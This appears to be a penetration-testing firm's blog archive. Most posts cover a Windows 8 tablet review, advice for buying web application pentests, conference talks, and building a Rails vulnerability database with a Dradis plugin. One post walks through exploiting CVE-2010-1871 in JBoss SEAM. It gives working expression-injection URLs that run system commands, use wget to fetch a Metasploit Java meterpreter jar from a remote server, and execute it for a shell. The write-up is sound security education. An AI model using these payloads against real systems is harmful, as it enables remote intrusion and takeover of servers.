Welcome to the ScotSTS Blog

Windows 8 on the Acer Iconia W500 Tablet

Not really security related but I recently aquired a Windows tablet in order to try out the touch features of Windows 8.  It was quite an interesting experience getting the new OS on to it, but now I have, I’d like to compare the W500′s features and performance with the iPad I have been using for a couple of years now.

First just a couple of things about the install.  I attached an external USB DVD drive to the tablet which used up both the available ports on the tablet.  This turned out to be a bad plan because I didn’t consider at the time (obvious in retrospect as it is) that the drivers for the touch screen required the OS to be installed and there was therefore no way to enter the product key during the install.  So back to square one – I had to use a USB hub so that I could plug a keyboard in as well.  With hindsight I would have been better installing off a USB key (there are instructions on how to do this on the Internet).  Once this was done, everything went smoothly, but the touch screen didn’t work properly (no right click, no auto-rotate).  After a bit of searching, I found that you have to go to the Acer site and reinstall the Windows 7 drivers for all the proprietory peripherals – after that everthing works fine.

So first impressions of the OS is pretty good.  The Metro Interface is very attractive and (for a beta) remarkably smooth and stable.  It is slightly jarring at first moving backwards and forwards between Metro and the legacy desktop – plus the lack of the start button is rather annoying but I’ve actually found I’ve got used to it pretty quickly.  The only significant problem I have with it now is that sometimes when the tablet is left in sleep mode for a long time with Windows Explorer open, it hangs the program when you wake the tablet up.

Comparing it to the iPad, first some negative features.  It weighs nearly twice as much as the iPad 3  and the battery life is not nearly as good.  After 8 hours on standby, the W500 was only on about quarter charge, whereas I can leave the iPad on standby for days without it losing any appreciable amount of charge.  The screen rotation on the W500 is good, but it doesn’t have the transition affect the iPad does, so the screen goes black briefly when you rotate it.

Its good features (of which there are quite a lot).  It is a proper fully fledged PC with 2G RAM and a dual core processor which runs proper Windows apps (pretty smoothly on Win 8).  I wouldn’t want to use the virtual keyboard to write a pentest report with a fancy template, but for short periods of time it is perfectly usable and (I think) nicer than the Apple one.  Plugged in to its docking station, you could easily work on a Word document on it, which is pretty much essential to our jobs.  It also has two USB ports and a SD card reader which are features I really miss in the iPad.  I tested installing a couple of programs on the SD card because the internal SSD is pretty small at 33G, and they run tolerably quickly.

So my verdict.  If you want a purely locked down tablet with a lovely smooth experience and a great battery life – I would go with the iPad.  However if you want to do a bit more and have a combined tablet/laptop that you can actually do work on – I think the W500 is a better bet.  Personally I am keeping both….

Getting the best from your Web Application Pentest

Getting the best from your Web Application Pentest

We’ve noticed during the many penetration tests we have carried out, that a lot of companies do not always get the best value for money from the tester’s time they have paid for.  Below are some general observations from a tester’s point of view, and some hints for IT Managers and developers on what they should be asking for.

a)      Black box is not always the best approach.  The vast majority of tests we carry out completely blind – in other words we are not given any information about the systems we are testing (for example the platform the application runs on, the development framework used to create it etc.).  This means that we have to spend a considerable proportion of our time finding out basic details which could easily be supplied in advance.  The point is that we can find these things out, and we are time limited, whilst an attacker who is determined to get into your application may have all the time in the world.  By having a preliminary meeting with the tester and supplying some basic details about the application, you save him a lot of time which you have paid for and enable him to focus on the deeper issues rather than the superficial stuff.

b)      Fix what you can in advance.  We get the same sets of basic findings over and over again.  SSLv2 enabled.  HttpOnly flags not set on session cookies.  Poor password management policy etc. etc. etc.  These all take time to discover and time to report on – and that time is not being spent on finding out the serious issues which may get your application compromised. This policy may not get you a big fat report to wave at management, but it will get you a more thorough test.

c)       Think about what systems should be in scope.  We often get told that our scope is one application, but on starting to test we find that it is closely linked in with another application that is out of scope.  On one notable occasion the in scope ASP.NET application was reasonably secure but part of its functionality was served by an ancient looking PHP system likely had a large number of issues.  This makes no sense – so when you are scoping a test, don’t just think about the application itself, think about related applications and also the infrastructure that they rely on (DNS, AD, SMTP etc).

d)      Don’t test web applications in live unless you absolutely have to.  Testing in live does not always give you the best value for money, because in a lot of cases, testers have to be more careful with how they scan to avoid any adverse impact on the system.  Also, if your application has a lot of input fields, there is no way they can all be tested manually in a short time-span, so the only way to get full coverage is to run scanners, and scanners create data and (on occasion) crash servers. At least here in UK, a decent percentage of customers do not want live systems to be actually compromised, so if you want a full on Pentest rather than a risk assessment, give the tester access to a pre-prod system.

e)      Don’t tie your tester’s hands behind his back.  Bad guys will not throttle back their scanners because you have a flaky firewall.  They will not worry about locking your users’ accounts.  They will not refrain from creating data on your site.  They will not restrain their activities to business hours.  If you do any (or all) of these things you are not getting a full test.  So try to fix any issues you know you have in advance, and then let the tester have full access.

f)       Testing sites still in active development is largely pointless.  Many are the tests we have done where we are told not to test parts of it because the developers are still working on it.  For reasons that should be obvious, this is a bit of a waste of time.  Making a change to one function and accidentally bypassing input validation can introduce multiple errors in different (and sometimes unexpected) parts of the application.  Ideally the order of events should be something along the lines of Development -> UAT -> Redevelopment -> Security Test in test environment -> Redevelopment -> Move to live -> further Security Test.  But if time or money does not permit – at the very least wait until you have finished coding before you start testing.

g)      Don’t retest unless you think you have fixed the problems.  We frequently do retests where virtually none of the original issues have been fixed.  This is the ultimate exercise in futility and is a huge waste of your company’s money.  Fix the issues yourself and if you don’t know how, Google is your friend.  If you really can’t find out how to fix something – spend your money on some consultancy rather than on a pointless retest.

h)      If you know there is a problem you can’t fix – tell the tester.  Don’t let the tester waste huge amounts of time testing and writing up something which you know about already (for example if there is some limitation of the framework or database you are using).  Having a known security vulnerability is bad, but spending money on having someone write about it is even worse.

i)        Consider using part of the time you have paid for as a corrective exercise.  Following on from point g), dependent on what the issues are you might want to spend part of your time with the tester on taking advice on how to fix the problems.  Testers aren’t generally skilled developers in any particular technology, but we can normally help with configuration issues and at least point in the right direction for more development specific vulnerabilities.

j)        Verbose reports are not always required.  Normally on a five day test, one day is reserved for report writing (proportionally less or more for shorter or longer tests).  The reason this takes so long is that many testing companies have an elaborate report format with graphics, slides, executive summary etc.  In many cases the findings could be summarized in an email which would take half an hour to write, instead of a fifty page report which takes a whole day.  So if you don’t require a formal report, you can get more value for money out of your test by getting the tester to write it as an email summary.  You will also have a happy tester!!

From PoC to Shell – CVE-2010-1871

I had a chance to look at CVE-2010-1871 recently which is a vulnerability in JBoss expression language.  As it was an interesting looking vulnerability, I thought it’d be worth walking it through to the point of getting a shell on a vulnerable box, and as it took a bit of fiddling and googling on my part to get there, I figured it could be worth writing up.

There’s a good write-up from the guy who discovered the vulnerability here but the basics of the vulnerability is that version of the JBoss SEAM framework have an expression language which can be used to directly execute java code.  (Un)fortuntely it was possible for certain URL parameters passed by users of the application to be executed, which introduces a vulnerability.

In the blog post Meder goes through the process of finding the appropriate java classess and executing code using reflection, so far so good.  When I came to walk through the PoC exploit (creating a directory on the vulnerable server) the last command
/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}

wasn’t working for me… so Google time (NB, the reference to seam-booking/home.seam is for the sample app used for the PoC, but this should work on any SEAM framework app)

Looking round to see if anyone else had any joy with this vuln. I came across a post on Stackoverflow , where it looked like someone was getting targeted with this issue in the wild (one to take note of if you run  JBoss!).  From that it looks like the attackers had come to a slightly different means of exploiting the issue, and testing it seemed to work well.  So the basic PoC is setting the actionOutcome parameter to

actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('mkdir%20/tmp/pwned')}

This has worked ok for me on Linux and windows (as target platforms).

Great, so now we have a basic PoC how do we move onto getting a full shell on our vulnerable system?  There’s doubtless a number of ways of doing this, but here’s one I hit on which seems to work pretty reliably.

Given that the target server is running a JBoss service, it’s a reasonable assumption that it will have java installed, so we can breakout the Java Meterpreter.  First up create the payload using msfpayload.  I used bind_tcp in the lab and it’s worth noting that the default metasploit port (4444) is in use, so using a different on (eg, 5556) was a good plan.

./msfpayload java/meterpreter/bind_tcp LPORT=5556 X > lin.jar

Gives us our file payload, now we just need to get it deployed to the target system.  On linux, it’s a fair bet that wget will be installed, so I used that to download the file from a webserver

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('wget%20-O%20/tmp/lin.jar%20http://<server>/lin.jar')}

This places the file into /tmp, so now we just need to run it, which is pretty straightforward

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('java%20-jar%20/tmp/lin.jar')}

Having done that, it’s just a question of spinning up the metasploit exploit handler and connecting to your waiting meterpreter shell.

B-Sides London Videos & Presentations Up

Over the last little while some of the videos from B-Sides London have been getting put up on-line, well worth a look if you get a chance.

The presentations are over on slideshare and the videos are on blip.tv

The slides for my talk “Pen Testing Must Die” are here and the video is here

Scottish Ruby Conference Videos Up.

The videos from this years Scottish Ruby Conference are up now at Confreaks .  As usual there’s loads of good content there, but interestingly some of my favourite talks of the ones I attended were the ones that didn’t directly deal with a specific aspect of ruby coding but were more general.

• There was this talk from Ryan Stenhouse on handling Credit cards and PCI.  This was interesting to me because I’m very used to hearing the security industries perspective on PCI, but this was the take of someone actually implementing controls to meet the requirements, which is a very different perspective.
• I enjoyed This talk from from Joe O’Brien on start-ups and self employment.  I’ve recently been working in start-ups (and indeed this is my second now) so it was nice to get another perspective from someone who’s been through that process and experienced some of the problems and pitfalls.
• I wasn’t really sure what to expect when I went to the real software engineering talk by Glen Vanderburg, but I thought it was a really good look at some fundamental problems with how software is built and how software engineering is currently taught.  Well worth a look.

Of course the video for my talk is also up, hopefully an interesting look at some practical strategies for web application security.

Welcome to the ScotSTS blog

Hello and welcome to our new blog.  We’ve merged in the content from Rory’s old blog and spruced it up with the excellent Centita theme.

Just the Facts Ma’am

Sometimes when you’re testing it’s good to be able to quickly get a feel for where to focus your attention or to get an overview of all the ports you’ve got open, so you can be sure you investigate all of them. Once you’ve done several scans as part of a job, you end up with a stack of nmap and nessus output files, and it can be hard to keep an eye on exactly what’s been found so far, and it’s good to have a way to just get the facts.
As a result a lot of testers will have scripts to help parse collate output from common tools like nmap.
They tend not to be the prettiest code in the universe or to produce lovely management friendly reports, but handy nonetheless.
Having set expectations about the quality of this code Here’s a couple of scripts which may come in useful for testers in managing some of those xml report files.
NMAP Auto Analyzer can parse a single nmap xml file or a directory of nmap xml files and provide a concise report on ports open across them.
Nessus Auto Analyzer somewhat unsurprisingly, does the same job for .nessus report files (v2 only at the moment)
Both have reasonable help files, so should be fairly straightforward to use, any questions/queries welcome either in comments or in e-mail (rorym at mccune dot org dot uk)

Creating a Simple Vulnerability Database – Part 2

We left off last time having created a simple vulnerability database using Ruby on Rails. So the next piece of the puzzle is getting that data into Dradis.
Luckily Dradis has a nice plugin system which is designed to ease the process of importing and exporting data from Dradis, so this isn’t too tricky.
Creating the Plugin
As dradis has rails generators for import plugins, we can use that to create the basic structure. First off, obviously, we need a working Dradis installation to work from. There are instructions on the site for the latest svn version here and following those should give you a working version of the latest code.
Once that’s done we can enter the dradis server directory an use this command to create the our import plugin.

rails generate import_plugin simple_vulndb

This creates a directory simple_vulndb_import under vendor/plugins and also creates a number of files for us to modify.
Configuring the Plugin
Here we’ll just step through the bits that are necessary to get the plugin up and working. there’s a number of files that we need to modify to get everything working ok. Most of this is just a modified version of the default vulndb_import plugin which is provided as part of Dradis.
First up is the configuration file in the plugin config directory.
Dradis uses YML config files which is a pretty easy syntax which is parameter : value
Here we can define the hostname, port and path for Dradis to access our vulnerability database. This also provides you the flexibility to change it (for instance if you’ve got a centralised version of the database as opposed to one hosted locally). The settings below are based on what we configured for the vulnerability database in the last post.

host: localhost
port: 3003
path: /vuln_search.json

with that done we can move on. Next up is the meta.rb file which can be found in lib/simple_vulndb_import/ . Here we just define the name of the plugin and the version information. So for example

NAME = "Simple Vulnerability Database Import"
# change this to the appropriate version
module VERSION #:nodoc:
MAJOR = 0
MINOR = 1
TINY = 0
STRING = [MAJOR, MINOR, TINY].join('.')

would work fine. Next up the main piece we need to change, the filters.rb file. This is found in the same directory as the meta.rb file.
Creating the Filters
There’s two main pieces to how I’ve set this up. The first is the filters. Essentially if we configure one of these for each of the search_types that we defined in the database (description, OWASP reference, Severity and Test Type) then we’ll be able to search by those methods from within Dradis).
Dradis handles filters by creating a module within the filters module that you’ll see pre-defined in the filters.rb template.
So for each of our searches we need to create a new module which looks a bit like this.

module TestTypeSearch
NAME = 'Search Database by Test Types'
def self.run(params={})
result = Filters::get_records('test_type',params['query'])
records = Filters::prepare_results(result.body)
return records
end
end

what we’re doing here is essentially setting up a NAME constant which contains (rather unsurprisingly) the filter name. then defining the behaviour when the filter is run. this is rather short as we’re just calling two class methods and then returning the result.
When I was writing this file I realised that I was essentially just writing variations of the same logic four times, so in good ruby practice I tried to DRY up the code and moved most of the logic into the class methods get_records and prepare_results
get_records looks like this

def self.get_records(search_type,query)
require 'cgi'
conf_file = File.join(Rails.root, 'config', 'rvulndb_import.yml')
conf = YAML::load( File.read CONF_FILE )
http = Net::HTTP.new(conf['host'], conf['port'])
res = http.get(conf['path'] + '?search_type=' + search_type +'&query=' + CGI::escape(query))
end

So this method opens the configuration file that we defined earlier (you’ll notice that it looks in the config directory under the rails root, so it’s a good idea to put a copy in there). Once it’s opened that it uses rubys’ YAML class to read the file, sets up an http connection to the database mentioned in the config file and executes the query on the database. One thing to note here is the use of CGI::escape. This helps manage any use of characters that aren’t allowed in URLs in our query string.
Ok, so after that method has completed we should have an array of 0 or more records that we can setup to be returned into dradis.
Next method up preps the records for input into Dradis

def self.prepare_results(json_data)
recs = []
jrec = ActiveSupport::JSON::decode(json_data)
if jrec.length == 0
error = Hash.new
error['title'] = "No records found"
error['description'] = "The search didn't return any records!"
recs << error
return recs
end
jrec.each do |jr|
newrec = Hash.new
newrec['title'] = jr['vulnerability']['title']
newrec['description'] = Filters::build_description(jr['vulnerability'])
recs << newrec
end
return recs
end

So this code just loads up the JSON data that our query should have returned, checks to make sure that we got some records (and returns an error if we didn't) then creates a hash for each record. There's one more bit of logic to explain in here which is the call to Filters::build_description. For neatness sake I broke that bit out. At the moment it's a pretty ugly text creation, but does the job

def self.build_description(note_data)
<<-eos
Vulnerbility Title
------------------
#{note_data['title']}
Vulnerability Description
------------------------
#{note_data['description']}
Vulnerability Remediation
-------------------------
#{note_data['remediation']}
Technical Notes
--------------
#{note_data['technical_notes']}
eos
end

This just puts together the body of the note description for each finding, as one long string.
There's obviously a lot more that could be done with this (like better error handling and writing tests) but with those files complete, the module should work ok and you should be able to import vulns from your database directly into Dradis using the "import note" feature.
I've put a copy of the code for the plugin up here, in case it's helpful

Creating a Simple Vulnerability Database – Part 1

One of the main tools that I’ve found useful in pen. testing is the Dradis Framework, it’s a good way of keeping track of findings and notes during a test and I’ve also found it’s template feature is good for keeping a list of things to remember during a test.
One of the features available in Dradis is import plugins. This lets you create a link to an external information source, such as a OSVDB or a database of vulnerabilities.
Having a database of vulnerabilities or findings can be pretty useful in cutting down the time required for reporting on a test as you can keep standard wordings in place (who really wants to write the same section about preventing XSS more than once!).
So recently I knocked up a simple vulnerability database to link in to Dradis and I thought it might be of use, so here’s the process.
Creating the App
We’re going to use Ruby on Rails for this as it’s nice and easy to develop for (as you’ll see) and also that’s what Dradis is based on, so makes sense to keep all the coding in the same underlying language. Also rails apps are very portable, they’re basically contained within a single directory structure, so it’s relatively easy to move them from place to place.
Before starting the application, there’s the usual pre-req’s. I’m using Ruby 1.9.2 and Rails 3 so having those installed is a good thing. If you’re using Linux then it’s helpful to have RVM working as some distros don’t have ruby 1.9.2 packaged up as yet.
once you’ve got the pre-req’s working, we can start by creating a rails app

rails new vulnlist

This creates a new application called vulnlist and adds all the standard rails files in.
Creating the Scaffold
Once we’ve got the app created, we can use rails scaffolding to quickly create the basic structure for our app. The web pages that scaffolding creates aren’t the most pretty, but they’ll do for now.
With the scaffold we can specify what fields we want to create in the database and also what data types those fields are.

rails generate scaffold Vulnerability title:string test_type:string description:text remediation:text technical_notes:text severity:string owasp_reference:string

Once we’ve completed this we can look at the basic app by setting up the database with

rake db:migrate

Ensuring that all our gems are installed ok with

bundle install

and launching the app

rails server

At this point browsing to http://127.0.0.1:3000/vulnerabilities should show a blank page with our fields in it. From this page we can create new vulnerabilities and edit or delete existing ones.
Now that we’ve got this basic structure setup it’s worth using git to keep a handle on the source code. On Linux the procedure for this is pretty easy
If you’ve not already got it installed

sudo apt-get install git-core

then in the root of the application

git init
git add .
git commit -m "Initial Commit with Scaffold"

Having git running on the app will make it pretty easy to revert any mistakes made along the way, as long as we’ve done regular commits.
Setting up the Searches
So far we’ve got a basic structure in place and can do the basic Create, Read, Update, Delete cycle on our data. However for the dradis integration, what’d be useful is if we could search for vulnerabilities using various criteria and have the results returned to Dradis.
This turns out to be relatively straightforward. First what we need is a new action in our controller. Opening vulnlist/app/controllers/vulnerabilities_controller.rb we can see the existing actions that we’ve got for the application.
What we need to do now is add a new action to allow for vulnerability searches.

def vuln_search
case params[:search_type]
when "description"
@vulnerabilities = Vulnerability.where("description like ?", "%"+params[:query]+"%")
when "owasp"
@vulnerabilities = Vulnerability.where("owasp_reference like ?",params[:query]+"%")
when "severity"
@vulnerabilities = Vulnerability.find_all_by_severity(params[:query])
when "test_type"
@vulnerabilities = Vulnerability.find_all_by_test_type(params[:query])
end
respond_to do |format|
format.xml {render  ml => @vulnerabilities}
format.json {render :json => @vulnerabilities}
end
end

This defines a new method called “vuln_search” which takes two parameters, search_type and query. The search type parameter lets us pick from different finders. Rails provides access into the application database via ActiveRecord and this just uses a couple of the finder types for different parameters. Where the query is going to be one of a number of fixed values like “severity” which will be something like high, medium or low, we can just use a standard find_all_by_ approach, but where it’s a more free text style search, we use Vulnerability.where and pass in the query parameter that way.
The respond_to block is a really nice feature of rails. By adding in the two lines for ml and :json rails wires up responses so that we can get the data out in those format, no additional code required.
Now that we’ve got the basic code in place, we just need to modify the rails routes so that the application knows how to access our new method.
This is done by modifying the vulnlist/config/routes.rb file, and adding the following code

controller :vulnerabilities do
get 'vuln_search' => :vuln_search
end

At this point, we’ve got the application basically working. If you put in a couple of test findings, then you should be able to go to http://127.0.0.1:3000/vuln_search.xml?search_type=Severity&Query=High for example and get some XML data back.
Tidying up
Now that we’ve got the basics working, there’s a couple of additional steps that it’s worth looking at to tidy some things up.
Selectors
First off, we’d like some of our fields (OWASP Reference, Severity and test type) to be one of a number of defined values. The “proper” way to do this would be to create additional models for these and link them in to the main vulnerabilities controller, but there’s a quicker way which is probably going to work well enough for our purposes.
Opening up vulnlist/app/models/vulnerability.rb we can specify some Constant values for these settings

TEST_TYPES = ["Web Application","Windows Server","Unix Server","Wireless","Web Server","Oracle","MS SQL","MySQL","DB2"]
SEVERITY_LEVELS = ["Critical","High","Medium","Low","No Impact"]
OWASP_TOP_10 = ["A1 - Injection","A2 - Cross Site Scripting (XSS)","A3 - Broken Authentication and Session Management","A4 - Insecure Direct Object Reference","A5 - Cross-Site Request Forgery (CSRF)","A6 - Security Misconfiguration","A7 - Insecure Cryptographic Storage","A8 - Failure to Restrict URL Access","A9 - Insufficient Transport Layer Protection","A10 - Unvalidated Redirects and Forwards"]

Then we can modify the form that the scaffolding process created to use these arrays as a select list. The form is found in vulnlist/app/views/vulnerabilities/_form.html.erb. In that file we just need to replace the “text_field” lines for those three fields with the following select lines

<%= f.select :test_type, Vulnerability::TEST_TYPES, :prompt => "Select the test type" %>
<%= f.select :severity, Vulnerability::SEVERITY_LEVELS, :prompt => "Select the severity level" %>
<%= f.select :owasp_reference, Vulnerability::OWASP_TOP_10, :prompt => "Select the appropriate OWASP top 10 reference" %>

This picks up the Constants from our model and helps keep the data consistent.
Localhost Only
As you’ll have noticed with this application, there’s pretty much no security whatsoever. At the moment it’s setup as a personal database only and isn’t suitable to be on any kind of network. Adding that security isn’t too difficult with rails, however it’s not really a problem for the basic use case that we have here. Both the vulnerability list and the dradis installation only need to listen on the localhost.
Configuring rails to only listen on the localhost (as opposed to specifying it on the command line) is a bit hacky, but here’s a way to do it based on this post and this dradis change . We need to modify the vulnlist/script/rails file and add the following lines

require 'rubygems'
require 'rails/commands/server'
require 'rack'
require 'webrick'
module Rails
class Server < ::Rack::Server
def default_options
super.merge({  ort => 3003,
:Host => "127.0.0.1",
:environment => (ENV['RAILS_ENV'] || "development").dup,
:daemonize => false,
:debugger => false,
:pid => File.expand_path("tmp/pids/server.pid"),
:config => File.expand_path("config.ru")
})
end
end
end

This also moves the application off the default port of 3000, to a new one of 3003 which hopefully shouldn’t clash with other services.
Default Routes
At the moment if we visit the root page of our application, now at http://127.0.0.1:3003 we get the default rails welcome page. What’d be nicer is if we were re-directed to the vulnerability listing automatically.
That’s easily done with two steps. First edit the vulnlist/config/routes.rb file and add the line

root :to => "vulnerabilities#index"

then delete the file vulnlist/public/index.html file.
Summary
So at the end of this first part we’ve created a basic vulnerability database which we can search easily on a number of parameters.
The next step is to create the dradis plugin to hook the two together, which as I’ll cover next time is a reasonably easy thing to do.

New Role, New Blog

I’ve just started a new role as a director at 7 Elements. We’re providing technical security consultancy and penetration testing services, focusing on the scottish market.
As part of that we’ve started up a blog here to talk through some of the ideas we’ve got for approaching security and testing in a pragmatic way.
I’m planning to keep this blog running for now (not that you could tell from the level of posts!), but more of my security/testing stuff will probably pop up on the 7 Elements blog…